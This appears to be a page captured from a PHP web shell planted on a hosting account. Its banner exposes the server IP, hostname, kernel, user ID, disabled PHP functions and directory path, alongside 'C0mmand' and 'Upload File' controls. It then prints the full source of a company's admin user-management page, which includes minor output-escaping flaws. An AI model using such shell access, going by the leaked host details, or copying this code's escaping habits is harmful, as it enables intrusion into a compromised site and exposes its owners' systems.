|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/rasi/../projects/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
if (!isset($_SESSION['admin_id'])) {
header("Location: login.php");
exit;
}
// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
header("Location: employee.php");
exit;
}
require_once '../config/config.php';
require_once '../config/db.php';
$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';
$sql = "SELECT u.*, creator.fname as creator_fname
FROM tbl_user u
LEFT JOIN tbl_user creator ON u.created_by = creator.uid
ORDER BY u.created_at DESC";
$result = mysqli_query($con, $sql);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<base href="../" />
<title>User Management - TDS Admin Hub</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
<link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
<link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
</head>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true"
data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true"
data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true"
data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true"
data-kt-app-toolbar-enabled="true" class="app-default">
<script>
var defaultThemeMode = "light";
var themeMode;
if (document.documentElement) {
if (document.documentElement.hasAttribute("data-bs-theme-mode")) {
themeMode = document.documentElement.getAttribute("data-bs-theme-mode");
} else {
if (localStorage.getItem("data-bs-theme") !== null) {
themeMode = localStorage.getItem("data-bs-theme");
} else {
themeMode = defaultThemeMode;
}
}
if (themeMode === "system") {
themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
}
document.documentElement.setAttribute("data-bs-theme", themeMode);
}
</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid" id="kt_app_page">
<?php include 'includes/header.php'; ?>
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<?php include 'includes/sidebar.php'; ?>
<!-- Main Content -->
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<div class="d-flex flex-column flex-column-fluid">
<!-- Toolbar -->
<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
<div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
<h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
User Management
</h1>
<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
<li class="breadcrumb-item text-muted">
<a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
</li>
<li class="breadcrumb-item">
<span class="bullet bg-gray-500 w-5px h-2px"></span>
</li>
<li class="breadcrumb-item text-muted">User Management</li>
</ul>
</div>
</div>
</div>
<!-- Content -->
<div id="kt_app_content" class="app-content flex-column-fluid">
<div id="kt_app_content_container" class="app-container container-xxl">
<div class="card">
<div class="card-header border-0 pt-6">
<div class="card-title">
<div class="d-flex align-items-center position-relative my-1">
<i class="ki-duotone ki-magnifier fs-3 position-absolute ms-5">
<span class="path1"></span>
<span class="path2"></span>
</i>
<input type="text" id="searchUser"
class="form-control form-control-solid w-250px ps-13"
placeholder="Search users..." />
</div>
</div>
<div class="card-toolbar">
<button type="button" class="btn btn-sm btn-primary"
data-bs-toggle="modal" data-bs-target="#userModal"
onclick="openAddModal()">
<i class="ki-duotone ki-plus fs-2"></i>
Add User
</button>
</div>
</div>
<div class="card-body py-4">
<table class="table align-middle table-row-dashed fs-6 gy-5" id="usersTable">
<thead>
<tr class="text-start text-muted fw-bold fs-7 text-uppercase gs-0">
<th class="min-w-125px">User</th>
<th class="min-w-125px">Email</th>
<th class="min-w-125px">Role</th>
<th class="min-w-125px">Created By</th>
<th class="min-w-100px">Status</th>
<th class="text-end min-w-100px">Actions</th>
</tr>
</thead>
<tbody class="text-gray-600 fw-semibold">
<?php while ($user = mysqli_fetch_assoc($result)): ?>
<tr>
<td class="d-flex align-items-center">
<div class="symbol symbol-circle symbol-50px overflow-hidden me-3">
<div class="symbol-label fs-3 bg-light-primary text-primary">
<?php echo strtoupper(substr($user['fname'], 0, 1)); ?>
</div>
</div>
<div class="d-flex flex-column">
<span class="text-gray-800 text-hover-primary mb-1">
<?php echo htmlspecialchars($user['fname']); ?>
</span>
</div>
</td>
<td><?php echo htmlspecialchars($user['email']); ?></td>
<td>
<span class="badge badge-light-<?php
echo $user['role'] === 'CEO' ? 'danger' :
($user['role'] === 'Manager' ? 'warning' : 'success');
?>">
<?php echo htmlspecialchars($user['role']); ?>
</span>
</td>
<td>
<?php
if ($user['creator_fname']) {
echo htmlspecialchars($user['creator_fname']);
} else {
echo '<span class="text-muted">Self</span>';
}
?>
</td>
<td>
<span class="badge badge-light-<?php echo $user['status'] === 'active' ? 'success' : 'danger'; ?>">
<?php echo ucfirst($user['status']); ?>
</span>
</td>
<td class="text-end">
<?php if ($user['uid'] != $current_user_id): ?>
<!-- ✅ Calendar Icon - Only for Employees -->
<?php if ($user['role'] === 'Employee'): ?>
<a href="admin/employee_calendar.php?employee_id=<?php echo $user['uid']; ?>"
class="btn btn-icon btn-light btn-active-light-success btn-sm me-1"
title="View Employee Calendar">
<i class="ki-duotone ki-calendar fs-3">
<span class="path1"></span>
<span class="path2"></span>
</i>
</a>
<?php endif; ?>
<!-- View Details Button (only for employees) -->
<?php if ($user['role'] === 'Employee'): ?>
<a href="admin/employee_details.php?id=<?php echo $user['uid']; ?>"
class="btn btn-icon btn-light btn-active-light-info btn-sm me-1"
title="View Details">
<i class="ki-duotone ki-eye fs-3">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
</a>
<?php endif; ?>
<!-- ✅ Edit Button - Manager cannot edit CEO or other Managers -->
<?php
$can_edit = true;
if ($current_user_role === 'Manager' && ($user['role'] === 'CEO' || $user['role'] === 'Manager')) {
$can_edit = false;
}
?>
<?php if ($can_edit): ?>
<button class="btn btn-icon btn-light btn-active-light-primary btn-sm me-1"
onclick='editUser(<?php echo json_encode($user); ?>)'>
<i class="ki-duotone ki-pencil fs-3">
<span class="path1"></span>
<span class="path2"></span>
</i>
</button>
<?php else: ?>
<button class="btn btn-icon btn-light btn-sm me-1"
disabled
title="Only CEO can edit <?php echo $user['role']; ?> accounts">
<i class="ki-duotone ki-lock fs-3 text-muted">
<span class="path1"></span>
<span class="path2"></span>
</i>
</button>
<?php endif; ?>
<!-- ✅ Delete Button - Manager cannot delete CEO or other Managers -->
<?php
$can_delete = true;
if ($current_user_role === 'Manager' && ($user['role'] === 'CEO' || $user['role'] === 'Manager')) {
$can_delete = false;
}
?>
<?php if ($can_delete): ?>
<button class="btn btn-icon btn-light btn-active-light-primary btn-sm"
onclick="deleteUser(<?php echo $user['uid']; ?>, '<?php echo htmlspecialchars($user['fname']); ?>')">
<i class="ki-duotone ki-trash fs-3">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
</i>
</button>
<?php else: ?>
<button class="btn btn-icon btn-light btn-sm"
disabled
title="Only CEO can delete <?php echo $user['role']; ?> accounts">
<i class="ki-duotone ki-lock fs-3 text-muted">
<span class="path1"></span>
<span class="path2"></span>
</i>
</button>
<?php endif; ?>
<?php endif; ?>
</td>
</tr>
<?php endwhile; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<!-- Footer -->
<div id="kt_app_footer" class="app-footer">
<div class="app-container container-fluid d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
<div class="text-gray-900 order-2 order-md-1">
<span class="text-muted fw-semibold me-1">2024©</span>
<a href="https://thedotstudios.com/" target="_blank" class="text-gray-800 text-hover-primary">
Copyright All rights reserved | Made with <span class="fa fa-heart text-danger"></span>
<b>by TheDotStudios.</b>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Add/Edit User Modal -->
<div class="modal fade" id="userModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered mw-650px">
<div class="modal-content">
<div class="modal-header">
<h2 class="fw-bolder" id="modalTitle">Add User</h2>
<div class="btn btn-icon btn-sm btn-active-icon-primary" data-bs-dismiss="modal">
<i class="ki-duotone ki-cross fs-1">
<span class="path1"></span>
<span class="path2"></span>
</i>
</div>
</div>
<form id="userForm" method="POST">
<div class="modal-body py-10 px-lg-17">
<input type="hidden" name="action" id="action" value="add">
<input type="hidden" name="user_id" id="user_id" value="">
<div id="alertBox"></div>
<div class="fv-row mb-7" id="nameField">
<label class="required fs-6 fw-semibold mb-2">Name</label>
<input type="text" class="form-control form-control-solid"
name="fname" id="fname" required />
</div>
<div class="fv-row mb-7" id="emailField">
<label class="required fs-6 fw-semibold mb-2">Email</label>
<input type="email" class="form-control form-control-solid"
name="email" id="email" required />
</div>
<div class="fv-row mb-7">
<label class="required fs-6 fw-semibold mb-2">Role</label>
<select class="form-select form-select-solid"
name="role"
id="role"
data-control="select2"
data-placeholder="Select a role"
data-hide-search="true"
required>
<option value="">Select Role</option>
<?php if ($current_user_role === 'CEO'): ?>
<option value="CEO">CEO</option>
<option value="Manager">Manager</option>
<?php endif; ?>
<option value="Employee">Employee</option>
</select>
<?php if ($current_user_role === 'Manager'): ?>
<div class="form-text text-muted">
<i class="ki-duotone ki-information-2 fs-6 text-warning">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
Managers can only add Employees
</div>
<?php endif; ?>
</div>
<div class="fv-row mb-7" id="passwordField">
<label class="required fs-6 fw-semibold mb-2">Password</label>
<input type="password" class="form-control form-control-solid"
name="password" id="password" />
<div class="form-text">Minimum 6 characters</div>
</div>
</div>
<div class="modal-footer flex-center">
<button type="reset" class="btn btn-light me-3" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-primary" id="submitBtn">
<span class="indicator-label">Submit</span>
<span class="indicator-progress">Please wait...
<span class="spinner-border spinner-border-sm align-middle ms-2"></span>
</span>
</button>
</div>
</form>
</div>
</div>
</div>
<!-- Scripts -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="assets/plugins/global/plugins.bundle.js"></script>
<script src="assets/js/scripts.bundle.js"></script>
<script>
let currentModal = null;
function openAddModal() {
document.getElementById('modalTitle').textContent = 'Add User';
document.getElementById('action').value = 'add';
document.getElementById('user_id').value = '';
document.getElementById('userForm').reset();
document.getElementById('nameField').style.display = 'block';
document.getElementById('emailField').style.display = 'block';
document.getElementById('passwordField').style.display = 'block';
document.getElementById('password').setAttribute('required', 'required');
document.getElementById('fname').setAttribute('required', 'required');
document.getElementById('email').setAttribute('required', 'required');
document.getElementById('alertBox').innerHTML = '';
$('#role').select2({
dropdownParent: $('#userModal')
});
}
function editUser(userData) {
document.getElementById('modalTitle').textContent = 'Edit User Role';
document.getElementById('action').value = 'edit';
document.getElementById('user_id').value = userData.uid;
document.getElementById('nameField').style.display = 'none';
document.getElementById('emailField').style.display = 'none';
document.getElementById('passwordField').style.display = 'none';
document.getElementById('password').removeAttribute('required');
document.getElementById('fname').removeAttribute('required');
document.getElementById('email').removeAttribute('required');
document.getElementById('role').value = userData.role;
document.getElementById('alertBox').innerHTML = '';
$('#role').select2({
dropdownParent: $('#userModal')
});
$('#role').val(userData.role).trigger('change');
currentModal = new bootstrap.Modal(document.getElementById('userModal'), {
backdrop: 'static',
keyboard: false
});
currentModal.show();
}
document.getElementById('userForm').addEventListener('submit', function(e) {
e.preventDefault();
const submitBtn = document.getElementById('submitBtn');
const formData = new FormData(this);
submitBtn.setAttribute('data-kt-indicator', 'on');
submitBtn.disabled = true;
fetch('admin/user_actions.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
submitBtn.removeAttribute('data-kt-indicator');
submitBtn.disabled = false;
if (data.success) {
const modalElement = document.getElementById('userModal');
const modal = bootstrap.Modal.getInstance(modalElement);
if (modal) {
modal.hide();
}
setTimeout(() => {
document.querySelectorAll('.modal-backdrop').forEach(el => el.remove());
document.body.classList.remove('modal-open');
document.body.style.removeProperty('padding-right');
document.body.style.removeProperty('overflow');
const appRoot = document.getElementById('kt_app_root');
if (appRoot) {
appRoot.removeAttribute('aria-hidden');
}
Swal.fire({
text: data.message,
icon: "success",
buttonsStyling: false,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn btn-primary"
}
}).then(() => {
location.reload();
});
}, 300);
} else {
document.getElementById('alertBox').innerHTML =
`<div class="alert alert-danger d-flex align-items-center p-5 mb-10">
<i class="ki-duotone ki-shield-cross fs-2hx text-danger me-4">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
<div class="d-flex flex-column">
<h4 class="mb-1 text-danger">Error</h4>
<span>${data.message}</span>
</div>
</div>`;
}
})
.catch(error => {
submitBtn.removeAttribute('data-kt-indicator');
submitBtn.disabled = false;
document.getElementById('alertBox').innerHTML =
`<div class="alert alert-danger d-flex align-items-center p-5 mb-10">
<i class="ki-duotone ki-shield-cross fs-2hx text-danger me-4">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
<div class="d-flex flex-column">
<h4 class="mb-1 text-danger">Error</h4>
<span>An error occurred. Please try again.</span>
</div>
</div>`;
console.error('Error:', error);
});
});
function deleteUser(userId, userName) {
Swal.fire({
text: `Are you sure you want to delete ${userName}?`,
icon: "warning",
showCancelButton: true,
buttonsStyling: false,
confirmButtonText: "Yes, delete!",
cancelButtonText: "No, cancel",
customClass: {
confirmButton: "btn fw-bold btn-danger",
cancelButton: "btn fw-bold btn-active-light-primary"
}
}).then((result) => {
if (result.isConfirmed) {
const formData = new FormData();
formData.append('action', 'delete');
formData.append('user_id', userId);
fetch('admin/user_actions.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
Swal.fire({
text: data.message,
icon: "success",
buttonsStyling: false,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn btn-primary"
}
}).then(() => {
location.reload();
});
} else {
Swal.fire({
text: data.message,
icon: "error",
buttonsStyling: false,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn btn-primary"
}
});
}
})
.catch(error => {
console.error('Error:', error);
Swal.fire({
text: "An error occurred while deleting the user.",
icon: "error",
buttonsStyling: false,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn btn-primary"
}
});
});
}
});
}
document.getElementById('searchUser').addEventListener('keyup', function() {
const searchValue = this.value.toLowerCase();
const tableRows = document.querySelectorAll('#usersTable tbody tr');
tableRows.forEach(row => {
const text = row.textContent.toLowerCase();
row.style.display = text.includes(searchValue) ? '' : 'none';
});
});
$(document).ready(function() {
$('#role').select2({
dropdownParent: $('#userModal')
});
});
</script>
<?php include 'includes/chat_widget.php'; ?>
</body>
</html>